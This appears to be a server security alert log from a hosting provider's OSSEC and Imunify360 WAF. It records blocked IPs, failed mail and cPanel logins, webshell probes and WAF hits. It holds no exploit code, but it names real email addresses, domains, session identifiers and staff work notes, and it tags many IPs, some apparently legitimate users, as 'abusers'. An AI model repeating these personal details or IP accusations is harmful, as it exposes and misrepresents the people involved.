plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.245.250.157
country_id: 3469034
description:
Jan 15 16:38:47 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.245.250.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.59.224.103
country_id: 798544
description:
Jan 15 16:39:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.59.224.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.59.224.103
country_id: 798544
description:
Jan 15 16:39:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.59.224.103 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 16:40:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64095: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 16:40:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64096: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.131.71.46
country_id: 1562822
domain: www.feliogroup.com.my
description:
IM360 WAF: Bad file extension||RSV:7.63||T:APACHE||MVN:REQUEST_FILENAME||MV:/https:/www.the3rdeye.com.my/home/therdeye/public_html/www.feliogroup.com||User:feliogroupcom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.64.122
country_id: 3469034
description:
Jan 15 16:45:48 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.64.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-15 16:46:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:39208: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.107.155.216
country_id: 798544
description:
Jan 15 16:46:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.107.155.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-15 16:46:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:39209: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.72.35.198
country_id: 290557
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/ceiling/17/360/1756372 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-15 16:48:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:31139: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.248
country_id: 2510769
description:
Jan 15 16:48:06 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.248 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.23.247.168
country_id: 953987
description:
Jan 15 16:48:08 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.23.247.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.87.116.230
country_id: 3469034
description:
Jan 15 16:48:23 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.87.116.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.248
country_id: 2510769
description:
Jan 15 16:48:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.248 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.23.247.168
country_id: 953987
description:
Jan 15 16:48:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.23.247.168 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-15 16:48:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:31140: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.179.184.145
country_id: 1814991
description:
2026-01-15 16:50:05 dovecot_login authenticator failed for H=(qmxua) [111.179.184.145]:61643: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.179.184.145
country_id: 1814991
description:
2026-01-15 16:50:13 dovecot_login authenticator failed for H=(jwkyn) [111.179.184.145]:61643: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.179.184.145
country_id: 1814991
description:
Jan 15 16:53:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.179.184.145 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.179.184.145
country_id: 1814991
description:
2026-01-15 16:53:22 dovecot_login authenticator failed for H=(ushyu) [111.179.184.145]:49672: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.24.182.58
country_id: 1269750
description:
Jan 15 16:53:44 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.24.182.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.132.99
country_id: 3469034
description:
Jan 15 16:59:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.132.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.186.11.83
country_id: 798544
description:
Jan 15 16:59:33 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.186.11.83 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 17:00:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:56890: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 15 17:00:07 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.254.142.133
country_id: 458258
description:
Jan 15 17:00:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.254.142.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.2
country_id: 3175395
description:
Jan 15 17:00:49 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.163.245
description:
2026-01-15 17:00:59 H=([64.89.163.245]) [64.89.163.245]:53334 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<busan@ecck.or.kr> rejected RCPT <info@mkmetal.com.my>: SPF: 64.89.163.245 is not allowed to send mail from ecck.or.kr


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 17:00:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:56890: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.160.67
country_id: 3865483
domain: www.manforce.net
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.manforce.net/mgmtsolutionspage/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.204.103
country_id: 3469034
description:
Jan 15 17:01:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.204.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.242
country_id: 2300660
description:
Jan 15 17:01:33 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.204.103
country_id: 3469034
description:
Jan 15 17:02:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.204.103 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.241.185
country_id: 1733045
description:
[2026-01-15 17:02:27 +0800] info [webmaild] 27.125.241.185 - jlpom@ajplantations.com.my "GET /cpsess1728500788/3rdparty/roundcube/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=1035&_mbox=INBOX.Sent&_framed=1&_action=preview HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.241.228] != Current IP Address [27.125.241.185]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-15 17:02:46 +0800] info [webmaild] 115.134.149.232 - general02@smartcable.com.my "GET /cpsess4228189374/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.125.241.185
country_id: 1733045
description:
27.125.241.185 - - [15/Jan/2026:17:02:27 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9532000&pdata=https%253A%252F%252Fmail.ajplantations.com.my%253A2096%252Fcpsess1728500788%252F3rdparty%252Froundcube%252F%253F_task%253Dmail%2526_caps%253Dpdf%25253D1%25252Cflash%25253D0%25252Ctiff%25253D0%25252Cwebp%25253D1%25252Cpgpmime%25253D0%2526_uid%253D1035%2526_mbox%253DINBOX.Sent%2526_framed%253D1%2526_action%253Dpreview&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768467746 HTTP/2.0" 302 0 mail.ajplantations.com.my "https://mail.ajplantations.com.my:2096/cpsess1728500788/3rdparty/roundcube/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=1035&_mbox=INBOX.Sent&_framed=1&_action=preview" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.125.241.185


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.241.152
country_id: 1733045
description:
[2026-01-15 17:02:43 +0800] info [webmaild] 27.125.241.152 - jlpom@ajplantations.com.my "GET /cpsess7041220260/3rdparty/roundcube/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=1057&_mbox=INBOX.Sent&_framed=1&_action=preview HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.241.185] != Current IP Address [27.125.241.152]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 15 17:04:41 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.8.49
country_id: 2300660
description:
Jan 15 17:05:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.8.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.63.67
country_id: 953987
description:
Jan 15 17:06:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.63.67 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.44.30.237
country_id: 3573591
domain: oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/oxbold.com/windsurfingmalaysia-faq.htm HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 17:08:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64281: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.176
country_id: 3175395
description:
Jan 15 17:08:06 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.13.162.43
country_id: 1814991
description:
Jan 15 17:07:33 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.13.162.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.13.162.43
country_id: 1814991
description:
2026-01-15 17:07:35 dovecot_login authenticator failed for H=([127.0.0.1]) [27.13.162.43]:41972: 535 Incorrect authentication data (set_id=inf@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-01-15 17:08:37 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:34170: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.179.184.204
country_id: 1814991
description:
2026-01-15 17:09:07 dovecot_login authenticator failed for H=(wclzh) [111.179.184.204]:58228: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 166.0.224.56
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-08.166.0.224.56||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 17:08:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64283: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.176
country_id: 3175395
description:
Jan 15 17:08:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.176 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.179.184.204
country_id: 1814991
description:
2026-01-15 17:09:27 dovecot_login authenticator failed for H=(zsakv) [111.179.184.204]:58228: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.38.41.152
country_id: 690791
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/Sirman.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.140.233.37
country_id: 2017370
description:
Jan 15 17:11:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.140.233.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.140.233.37
country_id: 2017370
description:
2026-01-15 17:11:12 dovecot_login authenticator failed for H=([62.140.233.37]) [62.140.233.37]:57104: 535 Incorrect authentication data (set_id=accounts@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/img/photos/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-15 17:14:23 H=([45.144.212.50]) [45.144.212.50]:49375 F=<arm@da-desk.com> rejected RCPT <mustapa@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from da-desk.com


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">check &amp; print supplier invoice</li>\r\n<li class=\"msonormal\" style=\"mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;\">keyin supplies invoice - purchase invoices in software</li>\r\n<li>open new vendor in software</li>\r\n<li>update the ambank template library</li>\r\n<li>in ambank download pdf bankslip put in folder (bank payment)</li>\r\n<li>open sales invoice to pob: envitgro (maxis nov'25-jan'26)</li>\r\n<li>go to find the old document payment voucher the audit - get approve ms. kho</li>\r\n</ul>||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.124.53
country_id: 1733045
description:
[2026-01-15 17:15:34 +0800] info [webmaild] 113.211.124.53 - s-osada@mckd.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-15 17:15:37 H=([45.144.212.50]) [45.144.212.50]:55381 F=<arm@da-desk.com> rejected RCPT <info@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from da-desk.com


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.65.93.111
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/fire/14/521/1469062 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.80
country_id: 1269750
description:
Jan 15 17:17:37 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.80 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.4.111.26
country_id: 3469034
description:
[2026-01-15 17:17:49 +0800] info [whostmgrd] 189.4.111.26 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 12.74.95.13
country_id: 6252001
description:
[2026-01-15 17:17:52 +0800] info [cpaneld] 12.74.95.13 - dscexpatcom "GET /login/?login_only=1&user=dscexpatcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dscexpatcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.185.249.28
country_id: 3469034
description:
[2026-01-15 17:17:58 +0800] info [cpaneld] 177.185.249.28 - dscex "GET /login/?login_only=1&user=dscex&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dscex (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.172.195.194
country_id: 690791
description:
[2026-01-15 17:18:03 +0800] info [cpaneld] 46.172.195.194 - dsc "GET /login/?login_only=1&user=dsc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dsc (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.77
country_id: 3175395
description:
Jan 15 17:17:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.77 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.187.144.153
country_id: 6252001
description:
[2026-01-15 17:17:35 +0800] info [cpaneld] 71.187.144.153 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.121.253.34
country_id: 3469034
description:
[2026-01-15 17:17:54 +0800] info [cpaneld] 138.121.253.34 - dscexpa "GET /login/?login_only=1&user=dscexpa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dscexpa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.99.15.163
country_id: 3658394
description:
[2026-01-15 17:17:56 +0800] info [cpaneld] 191.99.15.163 - dscexp "GET /login/?login_only=1&user=dscexp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dscexp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.247.171
country_id: 1733045
description:
[2026-01-15 17:18:00 +0800] info [cpaneld] 180.75.247.171 - dsce "GET /login/?login_only=1&user=dsce&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dsce (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 90.38.185.124
country_id: 3017382
description:
[2026-01-15 17:18:04 +0800] info [cpaneld] 90.38.185.124 - ds "GET /login/?login_only=1&user=ds&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ds (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.23.125.83
country_id: 6252001
description:
Jan 15 17:18:21 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.23.125.83 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.23.125.83
country_id: 6252001
description:
2026-01-15 17:18:23 dovecot_plain authenticator failed for H=c-24-23-125-83.hsd1.pa.comcast.net (twarocyaph) [24.23.125.83]:32904: 535 Incorrect authentication data (set_id=support@dps-comsec.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 102.129.145.138
country_id: 6252001
domain: www.maalloys.com.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.63||T:APACHE||RA:102.129.145.138||TA:102.129.145.138||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.188.90.234
country_id: 2017370
description:
2026-01-15 17:19:52 H=([64.188.90.234]) [64.188.90.234]:51621 F=<bounce@perfectpallette.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.34.129.127
country_id: 1168579
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/till/16/674/1625732 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.241.84.86
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/psr/simple-cache/src HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.29.164.137
country_id: 248816
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/psr/simple-cache/src/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 34.235.146.217
country_id: 6252001
domain: www.kendek.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.63||T:APACHE||RA:34.235.146.217||TA:34.235.146.217||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<p><span style=\"text-decoration: underline;\"><strong>thursday 15-jan-26</strong></span></p>\r\n<ul>\r\n<li>update tsb container arrival worksheet</li>\r\n<li>follow up and chase agent for import container delivery arrangement. we have 6 container import pending to deliver to warehouse as space is limited. at the moment we have 3 export container to be arranged as well. discuss with mr. anuar to unload the import container immediately.</li>\r\n<li>checking with excel horse on the quanity loaded.</li>\r\n<li>preparing shipping document export to 18d - feb b'26. cut-off 20-jan-26 eta manila 28-jan-26.</li>\r\n<li>first container 18d feb a'26 delay as vessel omit and transit at kaohsiung. updated eta 30-jan-26.</li>\r\n<li>preparing shipping documents for 18d - shipment form kk(sha) &amp; kk(ngb) : separate shipment - follow up with kk and 18d agent on the booking - all draft shipping document sent to 18d agent for checking before proceed to final.</li>\r\n<li>re-arrange with british horse feed on next collection - check with future forwarding sailing schedule.</li>\r\n<li>update tpy import schedule.</li>\r\n<li>follow up freight right on received cargoes.</li>\r\n<li>follow up kk order.</li>\r\n</ul>||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 17:28:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:56924: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.194.154.167
country_id: 3469034
description:
Jan 15 17:28:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.194.154.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 17:28:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:56925: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.196.111.204
country_id: 798544
description:
Jan 15 17:28:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.196.111.204 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.195.150
country_id: 290557
description:
2026-01-15 17:28:45 dovecot_login authenticator failed for H=([91.73.195.150]) [91.73.195.150]:54027: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.229.43.123
country_id: 6252001
description:
Jan 15 17:29:31 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.229.43.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.43.123
country_id: 6252001
description:
2026-01-15 17:29:33 dovecot_plain authenticator failed for H=c-71-229-43-123.hsd1.ga.comcast.net (dibisonle) [71.229.43.123]:36642: 535 Incorrect authentication data (set_id=shirley.wong@tujusetia.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.233.20.145
country_id: 6251999
